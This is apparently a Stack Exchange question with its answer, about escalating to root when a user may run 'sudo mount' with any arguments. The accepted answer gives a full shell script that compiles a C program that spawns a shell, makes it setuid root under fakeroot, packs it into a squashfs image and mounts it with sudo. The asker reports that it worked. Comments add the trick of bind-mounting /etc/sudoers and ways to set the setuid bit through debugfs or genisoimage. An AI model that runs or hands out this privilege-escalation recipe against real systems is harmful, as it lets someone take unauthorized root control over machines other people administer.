2

I have been experimenting with privilege escalation using the mount command and would like to know if it is possible to create a suid file owned by root without having access to any external device. i.e. I'm trying to find a way to do one the following:

  1. bind mount /bin/bash to another file, so that I can set the suid bit on it (and have it stay after unmount somehow). Or bind mount a suid user copy of /bin/bash to a file owned by root.

  2. mount a squashfs, .iso, or other existing filesystem with files normally owned by root in it (example: filesystem.squashfs from an ubuntu .iso image), so that I can set the suid bit on them.

The setup is as follows:

  1. sudo mount with any arguments is allowed
  2. no possibility to get a root suid file onto the computer from another device

I know I can easily gain root by bind mounting /etc/group, /etc/sudoers, etc, but would like to know if other ways are possible, in particular any way to create a root suid file without having access to any external machine (or virtual machine).

5
  • This seems to me to be trivially true? If "sudo mount with any arguments is allowed" then you can mount anything at all including any kind of disk image whatsoever that has suid root binaries in it... Am I misunderstanding your question?
    – Celada
    Mar 13, 2015 at 0:20
  • Yes, but how can you create the suid root binaries in the first place, if you only have sudo mount and cannot get any disk image with a suid root binary onto the system? Basically, is there a way to bypass/change ownership and/or file mode bits through mounting?
    – KIAaze
    Mar 13, 2015 at 0:54
  • You can make disk images. They just contain bytes, after all.
    – Celada
    Mar 13, 2015 at 1:19
  • Yes, I had considered that, but I was hoping for a simpler solution using mount and maybe some of the tools installed on most distros by default. Is there maybe a trick to create a new ext partition using mount, creating a suid file there and then remount it as owned by root? Or an "easy" way to do it using other common tools like dd, etc? (This whole question stems from my initial attempts to exploit a sudo mount, until I figured out the /etc/files remounting. Mainly a matter of curiosity, but also to know all that can be done with mount.)
    – KIAaze
    Mar 13, 2015 at 2:16
  • I don't know how you can get any simpler than creating an image and mounting it. You can use basically anything to create the image. In the worst case you don't have many tools installed locally but you can then just create the image elsewhere and copy&paste it in!
    – Celada
    Mar 13, 2015 at 2:23

1 Answer 1

4

You stipulate that you are allowed to run sudo mount with any arguments. In that case, unless I misunderstand your question, it seems to be trivially easy to gain root access: just create a disk image that contains a setuid-root binary and mount it with sudo mount -o loop! After all, anyone can create a disk image, it's just bytes...

To prove it, here's a super trivial shell script that will do it:

#!/bin/sh

# Prepare the image
mkdir imgsrc
gcc -xc -o imgsrc/runsh - <<EOF
#include <unistd.h>
int
main(int argc, char **argv)
{
    execl("/bin/sh", "sh", NULL);
    return 1;
}
EOF

# Create the image
fakeroot sh -c 'chown -Rh 0:0 imgsrc; chmod u+s imgsrc/runsh; mksquashfs imgsrc img'
rm -rf imgsrc

# Mount the image
mkdir mountpoint
sudo mount -r img mountpoint 

After running that, you can get a root shell just by running mountpoint/runsh.

If you don't have the necessary tools like fakeroot and mksquashfs then you can simply install them, their source code is freely available. If you can't do that, then you can just create the image in advance somewhere else and copy it onto the system in question. If worse comes to worse you can even base 64 encode the image and paste it at the command line! On my system, the above script generates an image that is just 2600 bytes when gzipped (what an interesting coincidence that it should be exactly that number!), and I'm sure it would be possible to make it even smaller with just a little bit of work. In the old days (1980s, mostly) people used to manually type in larger blocks of data than that transcribed from programming magazines.

2
  • Thanks, it worked. I didn't know about fakeroot and mksquashfs. :) I didn't have mksquashfs installed initially, so I also tried with dd+mkfs.ext4, but couldn't figure out how to create a suid root file on it as a normal user after mounting it. Any way to create an ext4 image from a directory under fakeroot by any chance?
    – KIAaze
    Mar 14, 2015 at 12:17
  • For ext2, creating a new filesystem image out of a tree of pre-existing files is not part of the normal use case, so a tool corresponding to mksquashfs does not exist. But nothing stops you from taking an existing image and twiddling just the right bits while the filesystem is unmounted to cause a change in the mode of some file to setuid. I think you can probably even do it from the command line with debugfs (installed by default in most Linux). Otherwise you can use libext2. For a direct analogue of mksquashfs for for a different type of filesystem, consider genisoimage.
    – Celada
    Mar 15, 2015 at 1:39

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .